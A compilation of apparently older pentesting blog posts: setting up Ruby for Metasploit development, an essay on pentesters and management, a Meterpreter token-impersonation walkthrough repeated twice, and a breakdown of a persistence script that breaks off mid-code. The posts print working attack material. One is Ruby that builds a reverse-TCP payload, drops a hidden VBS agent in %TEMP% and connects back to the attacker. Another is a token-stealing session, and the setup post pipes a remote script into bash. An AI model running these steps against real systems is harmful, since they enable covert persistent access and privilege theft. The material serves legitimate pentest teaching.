Setting up RVM and IRB for Metasploit Development in Backtrack

In this blogpost I will cover the installation of a base Ruby base environment for the use in developing and testing Metasploit modules, exploits and scripts. The instruction will be based on a Backtrack 4 base system since it has most of the dependencies already setup for many of the components that will be installed but it can easily be modified for use in any Ubuntu based Linux distro.

The first step is to make sure we are running the latest version of all packages on the system this is very easily done by using the aptitude package manager from a terminal to update our package database and upgrade all necessary packages. The command will be as follows running as root:

aptitude update && aptitude upgrade 

Once it finishes and we have all of the current packages upgraded we install the Git distributed version control system by running the following command as root:

aptitude install git-core 

Once Git is install we will install the Ruby Version Manager this will allow us to have on our system different version of Ruby each with it own gem repository and allow us to change, update and manage the different version by using one single tool. We will install RVM using the script they provide for installation by running the following command:

bash < <( curl http://rvm.beginrescueend.com/releases/rvm-install-head ) 

Once it is finished open your .bashrc file in your favorite text editor and add the following lines to the end of the file

 # Load RVM source
 if [[ -s "/usr/local/rvm/scripts/rvm" ]]  ; then source "/usr/local/rvm/scripts/rvm" ; fi
 # Enable Tab Completion in RVM
 [[ -r /usr/local/rvm//scripts/completion ]] && source /usr/local/rvm/scripts/completion

Save and close the file, next we run the following command to load the source to be able to use RVM:

 source /usr/local/rvm/scripts/rvm

   
Now we will install 2 versions of Ruby, Ruby 1.8.7 and 1.9.1

 rvm install 1.9.1
 rvm install 1.8.7

Even do you can install several versions at the same time I prefer to install one by one as shown in the commands above. you can test if the version switching is working by running the following command:

 rvm 1.9.1
 ruby -v
 rvm 1.8.7
 ruby -v 

Each time we invoke the ruby interpreter with the version command switch we should see that the version changed. Next we need to install the necessary ruby gems into each of the gem repositories of each one of the ruby versions we achieve this with the rvm command.

 rvm gem install hpricot
 rvm gem install sqlite3-ruby
 rvm gem install pg
 rvm gem install wirble
 rvm gem install mysql 

Once all gems are installed we set Ruby 1.9.1 as our default version with the following command:

 rvm 1.9.1 --default 

Now that we have our base ruby environment we can use, we can proceed to configure some global configuration parameters for the Interactive Ruby Shell also known as IRB. The IRB allow us ti interact directly with the ruby interpreter allowing us to test and validate commands and API calls. The following steps are optional and are not required and you can take what ever part of the following configuration better meets your personal style and needs. First we need to create the file:

 touch ~/.irbrc 

This file will be read by the IRB every time we run it. IRB can be invoked from the regular bash shell, from inside msfconsole and from inside a Meterpreter shell. The libraries and method loaded will depend on from where you run the irb command, you can load this libraries from inside the .irbrc file but for simplicity I will only cover some general settings and code that can later be expanded on as the skill level on ruby an the framework progresses. For a bit more information on IRB visit: http://ruby-doc.org/docs/ProgrammingRuby/html/irb.html

Let start by adding a line that will let us know that the .irbrc file is loaded:

 puts "Loaded ~/.irbrc" 

Next we will make sure that Ruby gems are always loaded when working inside IRB:

 require 'rubygems'

   
Next we load the Wirble library so we can have syntax coloring, history and tab autocompletion inside the IRB:

 require 'wirble'


Lets add IRB's own tab autocompletion since in my experience I have found it to be faster and differentiates methods depending of the object type in Ruby 1.9.1:

 require 'irb/completion' 

Now we load a initialize Wirble:

 Wirble.init
 Wirble.colorize

Next we add auto indentation for IRB:

 IRB.conf[:AUTO_INDENT] = true 

Next to simplify the enumeration of methods when we want to do a quick look at what we can do with an object we modify the object class and add a method call local_methods to aid in this so we add:

class Object
  # get all the methods for an object that aren't basic methods from Object
  def local_methods
    (methods - Object.instance_methods).sort
  end
end 

Our file should now look like this:

puts "Loaded ~/.irbrc"
# Load Lobraries
require 'rubygems'
require 'wirble'
require 'irb/completion' 
# Enable Indentation in irb
IRB.conf[:AUTO_INDENT] = true 
# Enable Syntax Coloring 
Wirble.init
Wirble.colorize 
# get all the methods for an object that aren't basic methods from Object
class Object
  def local_methods
    (methods - Object.instance_methods).sort
  end
end 

Now there is nothing more to do than to start coding and testing our code, I hope that you find this tips useful in your adventures coding for Metasploit in Ruby.

Teaching Old Dogs New Tricks Why Both Pentesters and Business Management Must Adapt

During the podcasters meet up in Shmoocon 2010 a very important subject came to discussion and it was that many pentesters do not know how business people think and how to talk with them and I do have to say that I agree fully with that notion. A great number of discussion have been made in forums, IRC chat channels, Blogs and Podcasts where the blame of many of the insecurities in most companies today is the complete fault of the business management side and I do not agree with this notion personally. The fault is a shared one. Both sides are at fault. Both sides need to change their training and the way both approach their jobs.

 

Many times we see again and again pentesters complain that they presented to management at their client the vulnerabilities, shells and information they where able to ascertain on the target network and management did not understood or dismissed what they said causing no change in the clients environment. For me this statement raises several questions, do we as community encourage that pentesters learn in addition to their technical body of knowledge that they must master that they also acquire soft skills in report writing, public speaking, project management, risk analysis and basic business logic?  Do we require that management and business people have an understanding of how information systems operate, the risks these systems are exposed to and how this risks may impact their business operation? They learn about accounting, markets, trends and many other areas but the focus given to information system is a low one.

 

The skills mentioned above for pentester to acquire are needed but for most of us this type of training is like pulling teeth, we hate it, but if the tooth is rotten it must be removed. Mastery of a field does not come by practicing what we know again and again but by training and practicing deliberately on that we are not good at and must master. We talk also a lot about the process we fallow while attacking a client system during a pentest, what we must do during a code review, vulnerability assessment and incident response but we are at the end consultants providing a service to a client, a service that the client needs so we must understand our client, how he does business, what he considers as risk for his business and what he has in place to be able to achieve his business goals, once we know all of this information we will get a pretty good picture of what systems and processes are those that should be targeted during our work, also it is important to know and have very clear what we can do and what we can not do so having clear ROE (Rules of Engagement) are of great importance since we will know our boundaries. We have to remember that our actions if not controlled can cost our clients large amounts of money and probably image problems. During the definition of them with the client we can get a clear look at his worries, his mind set and his general demeanor, this can be taken like applying Social Engineering skills since the concepts are similar just the result is what is a bit different. We also have to be honest not all consultants have the necessary skills to go in front of a business person and transmit the desired message in a way that the business side can understand and are given a clear track of what they can do to improve the risk posture of their business and the values of what was found to it, this is one of the main reasons I like that consultants work in groups, each with their specialty so as to achieve the best results, the specialty of managing the technical group and work as a mediator should be a project manager or senior consultant that has the business and technical knowledge to transmit findings and keep the focus of the team doing the work at what matters the most for a client, whish is nothing more that reducing the risks to his business and how such risk affects his bottom line. Still each person that wants to be a good security consultant, be it as a Pentester, Incident Response Specialist of any other security position as it may be called must have this knowledge and know how to apply it in the work they do.

 

On the management side knowing how information systems work, regulations that govern their use, what are best practices for their use and how they relate to the way that businesses are now dependant on this systems. In the new information age being connected is of great importance since they are just a couple of milliseconds away from every script kiddy that wants to make a name of themselves, every corporate spy, criminal organization and curious soul out there so knowing that speed is important but being careful and managing the risks of this new way of doing business must be taken in to account. Proper training and education must be given to the new generation of business majors and to influence the current crop of executives out there to adapt to this new changes. They must see that security services provided by external and internal entities help minimize risk so they remain profitable and nimble enough to adapt to change. Training in laws and regulation is a must, from the domains in the CISSP, PCI, Gramm-Leach-Bliley Act and many others out there, not only the ones in the US but also those in Europe and other continents so as to understand how to comply, look to improve on top and adapt to this regulations so as to help them in their business. Management and procedures for information systems like ITTIL and NIST must be studied so as to have a base of knowledge of what takes to administer this systems and understand what an IT department must provide as a base for their operation, understand some of the reason why proper budgeting is important for security and other risks mitigation factors that must be considered.

 

At the end I do believe that the way new business men and security consultants are trained and operate must evolve to be able to handle not only how business, economy and systems have changed but also how security is no longer some black art but a field with structure and body of knowledge that makes it critical for any operation in today’s market. Both side must know how to manage risk by knowing how to transfer, eliminate and mitigate it, and where it makes sense to do each.  

 

Note: Special Thanks to Chris Nickerson for the proof reading and helping me re-express some of the ideas. 

Meterpreter Token Manipulation

In revision 8055 HD committed new code that now allows the Meterpreter session if running as System to manipulate tokens in a much easier manner. Just like with incognito one can now get an access token and impersonate an account thru the Meterpreter Standard API, in fact I see both as complementing each other. Lets impersonate the Local Admin account on a Windows 2003 System using Incognito:

  1: meterpreter > use incognito
  2: Loading extension incognito...success.
  3: meterpreter > list_tokens -u
  4: 
  5: Delegation Tokens Available
  6: ========================================
  7: NT AUTHORITY\LOCAL SERVICE
  8: NT AUTHORITY\NETWORK SERVICE
  9: NT AUTHORITY\SYSTEM
 10: WIN2K3LAB01\Administrator
 11: 
 12: Impersonation Tokens Available
 13: ========================================
 14: NT AUTHORITY\ANONYMOUS LOGON

From line 1 and 2 we can see that we have loaded the incognito extension, this will inject a DLL in to the process where Meterpreter is running to allow us to issue the commands. At line 3 we issue a command to list the tokens available to the attacker, System is the best privilege to have while executing this command since we will see all token on the host, if we are not running as System on the target machine we will only see those tokens that the account have used to connect to other systems with.  Now we will change from our current running User ID to the Local Admin using incognito:

  1: meterpreter > getuid 
  2: Server username: NT AUTHORITY\SYSTEM
  3: meterpreter > impersonate_token WIN2K3LAB01\\Administrator
  4: [+] Delegation token available
  5: [+] Successfully impersonated user WIN2K3LAB01\Administrator
  6: meterpreter > getuid 
  7: Server username: WIN2K3LAB01\Administrator

Now we have moved from System to Local Admin, this process is very useful for when attacking distributed system like Microsoft Active Directory where having local access only is not of great benefit but being able to move to the credentials for that system specially administrative credentials are of great value.

The new commands in Standard API are:

  • drop_token    It drops any token being impersonated..
  • getprivs      Gets as many system privileges as it can.
  • steal_token  Attempts to steal a token from a given process and impersonate such token.

     

    The following code map to the following code in lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

      1: #
    
      2: # Obtains as many privileges as possible on the target machine.
    
      3: #
    
      4: def cmd_getprivs(*args)	
    
      5: 	print_line("=" * 60)
    
      6: 	print_line("Enabled Process Privileges")
    
      7: 	print_line("=" * 60)
    
      8: 	client.sys.config.getprivs.each do |priv|
    
      9: 		print_line("  #{priv}")
    
     10: 	end
    
     11: 	print_line("")
    
     12: end
    
     13: 
    
     14: #
    
     15: # Tries to steal the primary token from the target process.
    
     16: #
    
     17: 
    
     18: def cmd_steal_token(*args)	
    
     19: 	if(args.length != 1 or args[0] == "-h")
    
     20: 		print_error("Usage: steal_token [pid]")
    
     21: 		return
    
     22: 	end
    
     23: 	print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
    
     24: end
    
     25: 
    
     26: #
    
     27: # Drops any assumed token.
    
     28: #
    
     29: 
    
     30: def cmd_drop_token(*args)	
    
     31: 	print_line("Relinquished token, now running as: " + client.sys.config.drop_token())	
    
     32: end

    The drop_token command executes the function cmd_drop_token that as it can be seen in line 31 it will execute the API call client.sys.config.drop_token. The getprivs command execute sthe cmd_getprivs function that in turn executes the client.sys.config.getprivs API call which returns an Array of all the privileges the current user has. The steal_token command executes the cmd_steal_token function that in turn executes the client.sys.config.steal_token API call taking as required argument the PID of the process from whom to steal the token from if possible. As it can be seen 3 simple API calls from inside a Meterpreter session is all it takes, this makes scripting this actions for other scripts extremely easy and sets this framework apart from others.

    Lets Impersonate a toke that we know runs under the Administrators Account like the process of explorer.exe for a logged on account. We will list the processes, steal its token, check our privileges and then drop the token.:

      1: meterpreter > ps
    
      2: 
    
      3: Process list
    
      4: ============
    
      5: 
    
      6:     PID   Name                 Path
    
      7:     ---   ----                 ----
    
      8:     268   smss.exe             \SystemRoot\System32\smss.exe
    
      9:     320   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe
    
     10:     344   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe
    
     11:     392   services.exe         C:\WINDOWS\system32\services.exe
    
     12:     404   lsass.exe            C:\WINDOWS\system32\lsass.exe
    
     13:     600   vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe
    
     14:     620   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     15:     700   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     16:     756   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     17:     784   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     18:     820   svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     19:     964   spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe
    
     20:     992   msdtc.exe            C:\WINDOWS\system32\msdtc.exe
    
     21:     1104  dns.exe              C:\WINDOWS\System32\dns.exe
    
     22:     1152  svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     23:     1216  svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     24:     1296  vmtoolsd.exe         C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
    
     25:     1368  VMUpgradeHelper.exe  C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
    
     26:     1488  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe
    
     27:     1560  svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     28:     1704  dllhost.exe          C:\WINDOWS\system32\dllhost.exe
    
     29:     2164  Explorer.EXE         C:\WINDOWS\Explorer.EXE
    
     30:     2228  VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    
     31:     2236  VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    
     32:     2284  meter_224.exe        C:\Documents and Settings\Administrator\Desktop\meter_224.exe
    
     33:     2352  wuauclt.exe          C:\WINDOWS\system32\wuauclt.exe
    
     34:     2484  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe
    
     35:     3076  svhost77.exe         C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svhost77.exe
    
     36:     3096  taskmgr.exe          C:\WINDOWS\system32\taskmgr.exe
    
     37: meterpreter > steal_token 2164
    
     38: Stolen token with username: WIN2K3LAB01\Administrator
    
     39: meterpreter > getuid 
    
     40: Server username: WIN2K3LAB01\Administrator
    
     41: meterpreter > drop_token 
    
     42: Relinquished token, now running as: NT AUTHORITY\SYSTEM
    

    We first executed the ps command to list all processes with the PID, we used the steal_token command in like 37 to steal the token for the explorer process that has the PID of 2164 and we confirm in line 39 with the getuid command that we are now running under that token, at line 41 we drop the token and return to run as System. The drop command is also useful for when impersonating a token using incongnito and we want to return.

    The getprivs command will list all of the Windows System Process Level Privileges that are enabled:

      1: meterpreter > getprivs 
    
      2: ============================================================
    
      3: Enabled Process Privileges
    
      4: ============================================================
    
      5:   SeDebugPrivilege
    
      6:   SeTcbPrivilege
    
      7:   SeAssignPrimaryTokenPrivilege
    
      8:   SeLockMemoryPrivilege
    
      9:   SeIncreaseQuotaPrivilege
    
     10:   SeSecurityPrivilege
    
     11:   SeTakeOwnershipPrivilege
    
     12:   SeLoadDriverPrivilege
    
     13:   SeSystemtimePrivilege
    
     14:   SeProfileSingleProcessPrivilege
    
     15:   SeIncreaseBasePriorityPrivilege
    
     16:   SeCreatePagefilePrivilege
    
     17:   SeCreatePermanentPrivilege
    
     18:   SeBackupPrivilege
    
     19:   SeRestorePrivilege
    
     20:   SeShutdownPrivilege
    
     21:   SeAuditPrivilege
    
     22:   SeSystemEnvironmentPrivilege
    
     23:   SeChangeNotifyPrivilege
    
     24:   SeUndockPrivilege
    
     25:   SeManageVolumePrivilege
    

    As it can be seen the improvements on the Meterpreter ar being expanded and making it the best payload to be used against Windows System available in Metasploit. This new combination of token handling mixed with incognito and the ease in whish it can be scripted expands on the flexibility of Meterpreter and what can be done with it.

    Note:

    During the writing of this blog post the ps command was improved, it will now show under what privilege a process is running making the new set of commands even more useful

      1: meterpreter > ps
    
      2: 
    
      3: Process list
    
      4: ============
    
      5: 
    
      6:     PID   Name                 Path                                                      User
    
      7:     ---   ----                 ----                                                      ----
    
      8:     268   smss.exe             \SystemRoot\System32\smss.exe                             NT AUTHORITY\SYSTEM
    
      9:     300   svhost77.exe         C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svhost77.exe           NT AUTHORITY\SYSTEM
    
     10:     320   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe                         NT AUTHORITY\SYSTEM
    
     11:     344   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe                      NT AUTHORITY\SYSTEM
    
     12:     392   services.exe         C:\WINDOWS\system32\services.exe                          NT AUTHORITY\SYSTEM
    
     13:     404   lsass.exe            C:\WINDOWS\system32\lsass.exe                             NT AUTHORITY\SYSTEM
    
     14:     600   vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe         NT AUTHORITY\SYSTEM
    
     15:     620   svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\SYSTEM
    
     16:     700   svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\NETWORK SERVICE
    
     17:     756   svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\NETWORK SERVICE
    
     18:     784   svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\LOCAL SERVICE
    
     19:     820   svchost.exe          C:\WINDOWS\System32\svchost.exe                           NT AUTHORITY\SYSTEM
    
     20:     964   spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe                           NT AUTHORITY\SYSTEM
    
     21:     992   msdtc.exe            C:\WINDOWS\system32\msdtc.exe                             NT AUTHORITY\NETWORK SERVICE
    
     22:     1104  dns.exe              C:\WINDOWS\System32\dns.exe                               NT AUTHORITY\SYSTEM
    
     23:     1152  svchost.exe          C:\WINDOWS\System32\svchost.exe                           NT AUTHORITY\SYSTEM
    
     24:     1216  svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\LOCAL SERVICE
    
     25:     1296  vmtoolsd.exe         C:\Program Files\VMware\VMware Tools\vmtoolsd.exe         NT AUTHORITY\SYSTEM
    
     26:     1368  VMUpgradeHelper.exe  C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe  NT AUTHORITY\SYSTEM
    
     27:     1560  svchost.exe          C:\WINDOWS\System32\svchost.exe                           NT AUTHORITY\SYSTEM
    
     28:     1704  dllhost.exe          C:\WINDOWS\system32\dllhost.exe                           NT AUTHORITY\SYSTEM
    
     29:     2164  Explorer.EXE         C:\WINDOWS\Explorer.EXE                                   WIN2K3LAB01\Administrator
    
     30:     2228  VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe       WIN2K3LAB01\Administrator
    
     31:     2236  VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe       WIN2K3LAB01\Administrator
    
     32:     2352  wuauclt.exe          C:\WINDOWS\system32\wuauclt.exe                           WIN2K3LAB01\Administrator
    
     33:     2484  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe                     NT AUTHORITY\SYSTEM
    
     34:     3096  taskmgr.exe          C:\WINDOWS\system32\taskmgr.exe                           WIN2K3LAB01\Administrator
    
     35: 
    
     36: meterpreter >

  • Meterpreter Token Manipulation

    In revision 8055 HD committed new code that now allows the Meterpreter session if running as System to manipulate tokens in a much easier manner. Just like with incognito one can now get an access token and impersonate an account thru the Meterpreter Standard API, in fact I see both as complementing each other. Lets impersonate the Local Admin account on a Windows 2003 System using Incognito:

      1: meterpreter > use incognito
    
      2: Loading extension incognito...success.
    
      3: meterpreter > list_tokens -u
    
      4: 
    
      5: Delegation Tokens Available
    
      6: ========================================
    
      7: NT AUTHORITY\LOCAL SERVICE
    
      8: NT AUTHORITY\NETWORK SERVICE
    
      9: NT AUTHORITY\SYSTEM
    
     10: WIN2K3LAB01\Administrator
    
     11: 
    
     12: Impersonation Tokens Available
    
     13: ========================================
    
     14: NT AUTHORITY\ANONYMOUS LOGON
    

    From line 1 and 2 we can see that we have loaded the incognito extension, this will inject a DLL in to the process where Meterpreter is running to allow us to issue the commands. At line 3 we issue a command to list the tokens available to the attacker, System is the best privilege to have while executing this command since we will see all token on the host, if we are not running as System on the target machine we will only see those tokens that the account have used to connect to other systems with.  Now we will change from our current running User ID to the Local Admin using incognito:

      1: meterpreter > getuid 
    
      2: Server username: NT AUTHORITY\SYSTEM
    
      3: meterpreter > impersonate_token WIN2K3LAB01\\Administrator
    
      4: [+] Delegation token available
    
      5: [+] Successfully impersonated user WIN2K3LAB01\Administrator
    
      6: meterpreter > getuid 
    
      7: Server username: WIN2K3LAB01\Administrator

    Now we have moved from System to Local Admin, this process is very useful for when attacking distributed system like Microsoft Active Directory where having local access only is not of great benefit but being able to move to the credentials for that system specially administrative credentials are of great value.

    The new commands in Standard API are:

    • drop_token    It drops any token being impersonated..
    • getprivs      Gets as many system privileges as it can.
    • steal_token  Attempts to steal a token from a given process and impersonate such token.

    The following code map to the following code in lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

      1: #
    
      2: # Obtains as many privileges as possible on the target machine.
    
      3: #
    
      4: def cmd_getprivs(*args)	
    
      5: 	print_line("=" * 60)
    
      6: 	print_line("Enabled Process Privileges")
    
      7: 	print_line("=" * 60)
    
      8: 	client.sys.config.getprivs.each do |priv|
    
      9: 		print_line("  #{priv}")
    
     10: 	end
    
     11: 	print_line("")
    
     12: end
    
     13: 
    
     14: #
    
     15: # Tries to steal the primary token from the target process.
    
     16: #
    
     17: 
    
     18: def cmd_steal_token(*args)	
    
     19: 	if(args.length != 1 or args[0] == "-h")
    
     20: 		print_error("Usage: steal_token [pid]")
    
     21: 		return
    
     22: 	end
    
     23: 	print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
    
     24: end
    
     25: 
    
     26: #
    
     27: # Drops any assumed token.
    
     28: #
    
     29: 
    
     30: def cmd_drop_token(*args)	
    
     31: 	print_line("Relinquished token, now running as: " + client.sys.config.drop_token())	
    
     32: end

    The drop_token command executes the function cmd_drop_token that as it can be seen in line 31 it will execute the API call client.sys.config.drop_token. The getprivs command execute sthe cmd_getprivs function that in turn executes the client.sys.config.getprivs API call which returns an Array of all the privileges the current user has. The steal_token command executes the cmd_steal_token function that in turn executes the client.sys.config.steal_token API call taking as required argument the PID of the process from whom to steal the token from if possible. As it can be seen 3 simple API calls from inside a Meterpreter session is all it takes, this makes scripting this actions for other scripts extremely easy and sets this framework apart from others.

    Lets Impersonate a toke that we know runs under the Administrators Account like the process of explorer.exe for a logged on account. We will list the processes, steal its token, check our privileges and then drop the token.:

      1: meterpreter > ps
    
      2: 
    
      3: Process list
    
      4: ============
    
      5: 
    
      6:     PID   Name                 Path
    
      7:     ---   ----                 ----
    
      8:     268   smss.exe             \SystemRoot\System32\smss.exe
    
      9:     320   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe
    
     10:     344   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe
    
     11:     392   services.exe         C:\WINDOWS\system32\services.exe
    
     12:     404   lsass.exe            C:\WINDOWS\system32\lsass.exe
    
     13:     600   vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe
    
     14:     620   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     15:     700   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     16:     756   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     17:     784   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     18:     820   svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     19:     964   spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe
    
     20:     992   msdtc.exe            C:\WINDOWS\system32\msdtc.exe
    
     21:     1104  dns.exe              C:\WINDOWS\System32\dns.exe
    
     22:     1152  svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     23:     1216  svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     24:     1296  vmtoolsd.exe         C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
    
     25:     1368  VMUpgradeHelper.exe  C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
    
     26:     1488  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe
    
     27:     1560  svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     28:     1704  dllhost.exe          C:\WINDOWS\system32\dllhost.exe
    
     29:     2164  Explorer.EXE         C:\WINDOWS\Explorer.EXE
    
     30:     2228  VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    
     31:     2236  VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    
     32:     2284  meter_224.exe        C:\Documents and Settings\Administrator\Desktop\meter_224.exe
    
     33:     2352  wuauclt.exe          C:\WINDOWS\system32\wuauclt.exe
    
     34:     2484  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe
    
     35:     3076  svhost77.exe         C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svhost77.exe
    
     36:     3096  taskmgr.exe          C:\WINDOWS\system32\taskmgr.exe
    
     37: meterpreter > steal_token 2164
    
     38: Stolen token with username: WIN2K3LAB01\Administrator
    
     39: meterpreter > getuid 
    
     40: Server username: WIN2K3LAB01\Administrator
    
     41: meterpreter > drop_token 
    
     42: Relinquished token, now running as: NT AUTHORITY\SYSTEM
    

    We first executed the ps command to list all processes with the PID, we used the steal_token command in like 37 to steal the token for the explorer process that has the PID of 2164 and we confirm in line 39 with the getuid command that we are now running under that token, at line 41 we drop the token and return to run as System. The drop command is also useful for when impersonating a token using incongnito and we want to return.

    The getprivs command will list all of the Windows System Process Level Privileges that are enabled:

      1: meterpreter > getprivs 
    
      2: ============================================================
    
      3: Enabled Process Privileges
    
      4: ============================================================
    
      5:   SeDebugPrivilege
    
      6:   SeTcbPrivilege
    
      7:   SeAssignPrimaryTokenPrivilege
    
      8:   SeLockMemoryPrivilege
    
      9:   SeIncreaseQuotaPrivilege
    
     10:   SeSecurityPrivilege
    
     11:   SeTakeOwnershipPrivilege
    
     12:   SeLoadDriverPrivilege
    
     13:   SeSystemtimePrivilege
    
     14:   SeProfileSingleProcessPrivilege
    
     15:   SeIncreaseBasePriorityPrivilege
    
     16:   SeCreatePagefilePrivilege
    
     17:   SeCreatePermanentPrivilege
    
     18:   SeBackupPrivilege
    
     19:   SeRestorePrivilege
    
     20:   SeShutdownPrivilege
    
     21:   SeAuditPrivilege
    
     22:   SeSystemEnvironmentPrivilege
    
     23:   SeChangeNotifyPrivilege
    
     24:   SeUndockPrivilege
    
     25:   SeManageVolumePrivilege
    

    As it can be seen the improvements on the Meterpreter ar being expanded and making it the best payload to be used against Windows System available in Metasploit. This new combination of token handling mixed with incognito and the ease in whish it can be scripted expands on the flexibility of Meterpreter and what can be done with it.

    Meterpreter Persistance

    One of the tasks once a pentester gains access to a system in retaining such access, for this HD Moore wrote a great Meterpreter script called persistence, this script is truly unique since it generates it own payload, uploads the payload and configures it in such a manner to provide the attacker with a way back in to the system.

    To see the options available with this script just run the script with the –h option:

       1: meterpreter > run persistence -h
       2:  
       3: OPTIONS:
       4:  
       5:     -A        Automatically start a matching multi/handler to connect to the agent
       6:     -X        Automatically start the agent when the system boots
       7:     -h        This help menu
       8:     -i <opt>  The interval in seconds between each connection attempt
       9:     -p <opt>  The port on the remote host where Metasploit is listening
      10:     -r <opt>  The IP of the system running Metasploit listening for the connect back

    I will discuss the options as they are executed in the code.

    The first thing the code will do is generate the payload that will be used on the target machine, the code is as follows:

      1: #
    
      2: # Create the persistent VBS
    
      3: #
    
      4: 
    
      5: print_status("Creating a persistent agent: LHOST=#{rhost} LPORT=#{rport} (interval=#{delay} onboot=#{install})")
    
      6: pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
    
      7: pay.datastore['LHOST'] = rhost
    
      8: pay.datastore['LPORT'] = rport
    
      9: raw  = pay.generate
    
     10: 
    
     11: vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
    
     12: print_status("Persistent agent script is #{vbs.length} bytes long")

    The options used are:

    • -i for the interval in which the payload should be executed, it has a default value of 5 seconds.
    • -p for the port where the host is listening for the connection. This port is important since it has to be a port that must be open between the target and the attackers system. The default value is 4444.
    • -r is the host IP address for where the connection should connect back to, this is very useful if we want the connection to go to another system like a server on a hosted infrastructure, that already has a multi handler listening for the connection to come. The default is the IP of the host from where it is being ran from.

    Line 5 you see a message printed where we see the values of the variables that will be used . In line 6 we set an object that is our payload called pay and the payload specified is a reverse TCP Meterpreter payload, from lines 7 and 8 we set the variables for this specific payload and we generate a Raw payload. On line 11 we use the same calls used by msfencode to encode a vbs_loop payload and the delay is set. The generated vbscript is saved in the variable. Then on line 12 we print out the size of our payload. This code can be used to generate other payloads, to get a list in msfconsole run the irb command and in it you can execute the API call for framework.payloads to get the list or just run msfpayload –h. For the encodings I do suggest that you take a look at the code in msfencode to get other possible encodes and ideas for your own scripts

    The next action taken is uploading the payload to the target system the code bellow shows how this script does it:

      1: #
    
      2: # Upload to the filesystem
    
      3: #
    
      4: 
    
      5: tempdir = client.fs.file.expand_path("%TEMP%")
    
      6: tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
    
      7: fd = client.fs.file.new(tempvbs, "wb")
    
      8: fd.write(vbs)
    
      9: fd.close
    
     10: 
    
     11: print_status("Uploaded the persistent agent to #{tempvbs}")

    In line 5 we can see that the temp directory for the account under the Meterpreter is running under by expanding the Windows %TEMP% variable. In line 6 we append the temp directory to a randome generated file name and append the extension .vbs, the appending of the extension is very importantant since wscript and cscript in Windows depend on the extension so as to know how to parse the script and execute it. From line 7 to 9 we create the file directly on the target system and we write the content of the variable holding the vbs code in to the file and we close it, thus creating the script on the target.

    The next step is to execute the vbs script. The code us shown bellow:

      1: #
    
      2: # Execute the agent
    
      3: #
    
      4: proc = session.sys.process.execute("wscript \"#{tempvbs}\"", nil, {'Hidden' => true})
    
      5: print_status("Agent executed with PID #{proc.pid}")

    In line 4 we execute the script using wscript and we execute the process as hidden from the user on the box, in line 5 we print the PID (Process ID) for the process.

    Lets take a look at the first option of –A this option will start a multi handler to receive the connection back from the payload this useful when the connection is back to the attacker machine one would set the connection on a different port and migrate such connection to a different process so in the case of process failure the connection to the target machine is not lost. The code to build this multi handler follows:

      1: #
    
      2: # Setup the multi/handler if requested
    
      3: #
    
      4: if(autoconn)
    
      5: 	mul = client.framework.exploits.create("multi/handler")
    
      6: 	mul.datastore['PAYLOAD']   = "windows/meterpreter/reverse_tcp"
    
      7: 	mul.datastore['LHOST']     = rhost
    
      8: 	mul.datastore['LPORT']     = rport
    
      9: 	mul.datastore['EXITFUNC']  = 'process'
    
     10: 	mul.datastore['ExitOnSession'] = false
    
     11: 
    
     12: 	mul.exploit_simple(
    
